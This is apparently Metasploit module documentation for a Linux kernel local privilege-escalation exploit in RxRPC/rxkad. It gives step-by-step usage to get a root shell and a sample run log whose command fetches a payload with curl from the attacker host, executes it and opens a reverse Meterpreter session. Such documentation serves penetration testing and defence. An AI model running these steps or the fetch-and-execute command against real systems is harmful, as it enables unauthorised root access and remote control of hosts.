## Vulnerable Application

CVE-2026-43500 is a memory-corruption vulnerability in the Linux kernel's RxRPC authentication
subsystem (rxkad). When a crafted DATA packet is delivered to an AF_RXRPC socket that has been set
up with an attacker-controlled rxkad session key, the kernel's `rxkad_verify_packet_1()` function
performs an in-place 8-byte pcbc(fcrypt) decryption directly on the page-cache page referenced by
the splice offset. Because the decryption mutates the page in-place without marking it dirty, the
on-disk file is left unchanged while the corrupted in-memory view is immediately visible to all
processes that read from the page cache.

## Verification Steps

1. Obtain a shell or meterpreter session on a vulnerable Linux host
1. Start msfconsole
1. Do: `use exploit/linux/local/cve_2026_43500_dirty_frag`
1. Do: `set SESSION [session number]`
1. Do: `set LHOST [your IP]`
1. Do: `run`
1. You should get a root shell.


## Options

**WRITABLE_DIR** — Directory on the remote host where the exploit binary will be written and
executed. Defaults to `/tmp`. Must be writable and executable by the current user.

## Scenarios

```
msf exploit(linux/local/cve_2026_43500_dirty_frag) > run verbose=true 
[*] Command to run on remote host: curl -so ./GQXtfxBhzK http://10.38.36.19:8080/oEkeYGBKE-b-br4JJwrvNw;chmod +x ./GQXtfxBhzK;./GQXtfxBhzK&
[*] Fetch handler listening on 10.38.36.19:8080
[*] HTTP server started
[*] Adding resource /oEkeYGBKE-b-br4JJwrvNw
[*] Started reverse TCP handler on 10.38.36.19:4444 
[*] Live compiling exploit on system...
[*] Client 10.11.58.111 requested /oEkeYGBKE-b-br4JJwrvNw
[*] Sending payload to 10.11.58.111 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 10.11.58.111
[*] Meterpreter session 2 opened (10.38.36.19:4444 -> 10.11.58.111:44821) at 2026-05-17 19:14:11 +0200

meterpreter > getuid
Server username: root
```
